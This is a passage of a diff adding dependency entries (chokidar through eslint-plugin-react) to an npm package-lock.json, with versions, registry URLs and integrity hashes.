"~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chokidar/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "dev": true, + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dev": true, + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true + }, + "node_modules/concurrently": { + "version": "8.2.2", + "resolved": "https://registry.npmjs.org/concurrently/-/concurrently-8.2.2.tgz", + "integrity": "sha512-1dP4gpXFhei8IOtlXRE/T/4H88ElHgTiUzh71YUmtjTEHMSRS2Z/fgOxHSxxusGHogsRfxNq1vyAwxSC+EVyDg==", + "dev": true, + "dependencies": { + "chalk": "^4.1.2", + "date-fns": "^2.30.0", + "lodash": "^4.17.21", + "rxjs": "^7.8.1", + "shell-quote": "^1.8.1", + "spawn-command": "0.0.2", + "supports-color": "^8.1.1", + "tree-kill": "^1.2.2", + "yargs": "^17.7.2" + }, + "bin": { + "conc": "dist/bin/concurrently.js", + "concurrently": "dist/bin/concurrently.js" + }, + "engines": { + "node": "^14.13.0 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/open-cli-tools/concurrently?sponsor=1" + } + }, + "node_modules/concurrently/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/concurrently/node_modules/chalk/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/concurrently/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/content-disposition": { + "version": "0.5.4", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", + "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", + "dependencies": { + "safe-buffer": "5.2.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true + }, + "node_modules/cookie": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.1.tgz", + "integrity": "sha512-6DnInpx7SJ2AK3+CTUE/ZM0vWTUboZCegxhC2xiIydHR9jNuTAASBrfEpHhiGOZw/nX51bHt6YQl8jsGo4y/0w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==" + }, + "node_modules/cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dev": true, + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/css.escape": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz", + "integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==", + "dev": true + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssstyle": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-3.0.0.tgz", + "integrity": "sha512-N4u2ABATi3Qplzf0hWbVCdjenim8F3ojEXpBDF5hBpjzW182MjNGLqfmQ0SkSPeQ+V86ZXgeH8aXj6kayd4jgg==", + "dev": true, + "dependencies": { + "rrweb-cssom": "^0.6.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/csstype": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz", + "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==", + "dev": true + }, + "node_modules/data-urls": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz", + "integrity": "sha512-ZYP5VBHshaDAiVZxjbRVcFJpc+4xGgT0bK3vzy1HLN8jTO975HEbuYzZJcHoQEY5K1a0z8YayJkyVETa08eNTg==", + "dev": true, + "dependencies": { + "whatwg-mimetype": "^4.0.0", + "whatwg-url": "^14.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/date-fns": { + "version": "2.30.0", + "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-2.30.0.tgz", + "integrity": "sha512-fnULvOpxnC5/Vg3NCiWelDsLiUc9bRwAPs/+LfTLNvetFCtCTN+yQz15C/fs4AwX1R9K5GLtLfn8QW+dWisaAw==", + "dev": true, + "dependencies": { + "@babel/runtime": "^7.21.0" + }, + "engines": { + "node": ">=0.11" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/date-fns" + } + }, + "node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dev": true, + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decimal.js": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.3.tgz", + "integrity": "sha512-VBBaLc1MgL5XpzgIP7ny5Z6Nx3UrRkIViUkPUdtl9aya5amy3De1gsUUSB1g3+3sExYNjCAsAznmukyxCb1GRA==", + "dev": true + }, + "node_modules/deep-eql": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-4.1.3.tgz", + "integrity": "sha512-WaEtAOpRA1MQ0eohqZjpGD8zdI0Ovsm8mmFhaDN8dvDZzyoUMcYDnf5Y6iu7HTXxf8JDS23qWa4a+hKCDyOPzw==", + "dev": true, + "dependencies": { + "type-detect": "^4.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/deep-equal": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-2.2.3.tgz", + "integrity": "sha512-ZIwpnevOurS8bpT4192sqAowWM76JDKSHYzMLty3BZGSswgq6pBaH3DhCSW5xVAZICZyKdOBPjwww5wfgT/6PA==", + "dev": true, + "dependencies": { + "array-buffer-byte-length": "^1.0.0", + "call-bind": "^1.0.5", + "es-get-iterator": "^1.1.3", + "get-intrinsic": "^1.2.2", + "is-arguments": "^1.1.1", + "is-array-buffer": "^3.0.2", + "is-date-object": "^1.0.5", + "is-regex": "^1.1.4", + "is-shared-array-buffer": "^1.0.2", + "isarray": "^2.0.5", + "object-is": "^1.1.5", + "object-keys": "^1.1.1", + "object.assign": "^4.1.4", + "regexp.prototype.flags": "^1.5.1", + "side-channel": "^1.0.4", + "which-boxed-primitive": "^1.0.2", + "which-collection": "^1.0.1", + "which-typed-array": "^1.1.13" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-properties": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", + "dev": true, + "dependencies": { + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/didyoumean": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz", + "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==", + "dev": true + }, + "node_modules/diff-sequences": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-29.6.3.tgz", + "integrity": "sha512-EjePK1srD3P08o2j4f0ExnylqRs5B9tJjcp9t1krH2qRi8CCdsYfwe9JgSLurFBWwq4uOlipzfk5fHNvwFKr8Q==", + "dev": true, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/dlv": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", + "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==", + "dev": true + }, + "node_modules/doctrine": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", + "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", + "dev": true, + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/dom-accessibility-api": { + "version": "0.5.16", + "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz", + "integrity": "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg==", + "dev": true + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==" + }, + "node_modules/electron-to-chromium": { + "version": "1.4.614", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.614.tgz", + "integrity": "sha512-X4ze/9Sc3QWs6h92yerwqv7aB/uU8vCjZcrMjA8N9R1pjMFRe44dLsck5FzLilOYvcXuDn93B+bpGYyufc70gQ==", + "dev": true + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "node_modules/encodeurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", + "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/entities": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "dev": true, + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/es-abstract": { + "version": "1.22.3", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.22.3.tgz", + "integrity": "sha512-eiiY8HQeYfYH2Con2berK+To6GrK2RxbPawDkGq4UiCQQfZHb6wX9qQqkbpPqaxQFcl8d9QzZqo0tGE0VcrdwA==", + "dev": true, + "dependencies": { + "array-buffer-byte-length": "^1.0.0", + "arraybuffer.prototype.slice": "^1.0.2", + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.5", + "es-set-tostringtag": "^2.0.1", + "es-to-primitive": "^1.2.1", + "function.prototype.name": "^1.1.6", + "get-intrinsic": "^1.2.2", + "get-symbol-description": "^1.0.0", + "globalthis": "^1.0.3", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "hasown": "^2.0.0", + "internal-slot": "^1.0.5", + "is-array-buffer": "^3.0.2", + "is-callable": "^1.2.7", + "is-negative-zero": "^2.0.2", + "is-regex": "^1.1.4", + "is-shared-array-buffer": "^1.0.2", + "is-string": "^1.0.7", + "is-typed-array": "^1.1.12", + "is-weakref": "^1.0.2", + "object-inspect": "^1.13.1", + "object-keys": "^1.1.1", + "object.assign": "^4.1.4", + "regexp.prototype.flags": "^1.5.1", + "safe-array-concat": "^1.0.1", + "safe-regex-test": "^1.0.0", + "string.prototype.trim": "^1.2.8", + "string.prototype.trimend": "^1.0.7", + "string.prototype.trimstart": "^1.0.7", + "typed-array-buffer": "^1.0.0", + "typed-array-byte-length": "^1.0.0", + "typed-array-byte-offset": "^1.0.0", + "typed-array-length": "^1.0.4", + "unbox-primitive": "^1.0.2", + "which-typed-array": "^1.1.13" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es-define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.0.tgz", + "integrity": "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==", + "dependencies": { + "get-intrinsic": "^1.2.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-get-iterator": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/es-get-iterator/-/es-get-iterator-1.1.3.tgz", + "integrity": "sha512-sPZmqHBe6JIiTfN5q2pEi//TwxmAFHwj/XEuYjTuse78i8KxaqMTTzxPoFKuzRpDpTJ+0NAbpfenkmH2rePtuw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.3", + "has-symbols": "^1.0.3", + "is-arguments": "^1.1.1", + "is-map": "^2.0.2", + "is-set": "^2.0.2", + "is-string": "^1.0.7", + "isarray": "^2.0.5", + "stop-iteration-iterator": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es-iterator-helpers": { + "version": "1.0.15", + "resolved": "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.0.15.tgz", + "integrity": "sha512-GhoY8uYqd6iwUl2kgjTm4CZAf6oo5mHK7BPqx3rKgx893YSsy0LGHV6gfqqQvZt/8xM8xeOnfXBCfqclMKkJ5g==", + "dev": true, + "dependencies": { + "asynciterator.prototype": "^1.0.0", + "call-bind": "^1.0.2", + "define-properties": "^1.2.1", + "es-abstract": "^1.22.1", + "es-set-tostringtag": "^2.0.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.2.1", + "globalthis": "^1.0.3", + "has-property-descriptors": "^1.0.0", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.5", + "iterator.prototype": "^1.1.2", + "safe-array-concat": "^1.0.1" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.0.2.tgz", + "integrity": "sha512-BuDyupZt65P9D2D2vA/zqcI3G5xRsklm5N3xCwuiy+/vKy8i0ifdsQP1sLgO4tZDSCaQUSnmC48khknGMV3D2Q==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.2.2", + "has-tostringtag": "^1.0.0", + "hasown": "^2.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-shim-unscopables": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.0.2.tgz", + "integrity": "sha512-J3yBRXCzDu4ULnQwxyToo/OjdMx6akgVC7K6few0a7F/0wLtmKKN7I73AH5T2836UuXRqN7Qg+IIUw/+YJksRw==", + "dev": true, + "dependencies": { + "hasown": "^2.0.0" + } + }, + "node_modules/es-to-primitive": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.1.tgz", + "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==", + "dev": true, + "dependencies": { + "is-callable": "^1.1.4", + "is-date-object": "^1.0.1", + "is-symbol": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/esbuild": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.21.5.tgz", + "integrity": "sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==", + "dev": true, + "hasInstallScript": true, + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.21.5", + "@esbuild/android-arm": "0.21.5", + "@esbuild/android-arm64": "0.21.5", + "@esbuild/android-x64": "0.21.5", + "@esbuild/darwin-arm64": "0.21.5", + "@esbuild/darwin-x64": "0.21.5", + "@esbuild/freebsd-arm64": "0.21.5", + "@esbuild/freebsd-x64": "0.21.5", + "@esbuild/linux-arm": "0.21.5", + "@esbuild/linux-arm64": "0.21.5", + "@esbuild/linux-ia32": "0.21.5", + "@esbuild/linux-loong64": "0.21.5", + "@esbuild/linux-mips64el": "0.21.5", + "@esbuild/linux-ppc64": "0.21.5", + "@esbuild/linux-riscv64": "0.21.5", + "@esbuild/linux-s390x": "0.21.5", + "@esbuild/linux-x64": "0.21.5", + "@esbuild/netbsd-x64": "0.21.5", + "@esbuild/openbsd-x64": "0.21.5", + "@esbuild/sunos-x64": "0.21.5", + "@esbuild/win32-arm64": "0.21.5", + "@esbuild/win32-ia32": "0.21.5", + "@esbuild/win32-x64": "0.21.5" + } + }, + "node_modules/escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==" + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint": { + "version": "8.56.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.56.0.tgz", + "integrity": "sha512-Go19xM6T9puCOWntie1/P997aXxFsOi37JIHRWI514Hc6ZnaHGKY9xFhrU65RT6CcBEzZoGG1e6Nq+DT04ZtZQ==", + "dev": true, + "dependencies": { + "@eslint-community/eslint-utils": "^4.2.0", + "@eslint-community/regexpp": "^4.6.1", + "@eslint/eslintrc": "^2.1.4", + "@eslint/js": "8.56.0", + "@humanwhocodes/config-array": "^0.11.13", + "@humanwhocodes/module-importer": "^1.0.1", + "@nodelib/fs.walk": "^1.2.8", + "@ungap/structured-clone": "^1.2.0", + "ajv": "^6.12.4", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.2", + "debug": "^4.3.2", + "doctrine": "^3.0.0", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^7.2.2", + "eslint-visitor-keys": "^3.4.3", + "espree": "^9.6.1", + "esquery": "^1.4.2", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^6.0.1", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "globals": "^13.19.0", + "graphemer": "^1.4.0", + "ignore": "^5.2.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "is-path-inside": "^3.0.3", + "js-yaml": "^4.1.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.4.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.1.2", + "natural-compare": "^1.4.0", + "optionator": "^0.9.3", + "strip-ansi": "^6.0.1", + "text-table": "^0.2.0" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-plugin-react": { + "version": "7.33.2", + "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.33.2.tgz", + "integrity": "sha512-73QQMKALArI8/7xGLNI/3LylrEYrlKZSb5C9+q3OtOewTnMQi5cT+aE9E41sLCmli3I9PGGmD1yiZydyo4FEPw==", + 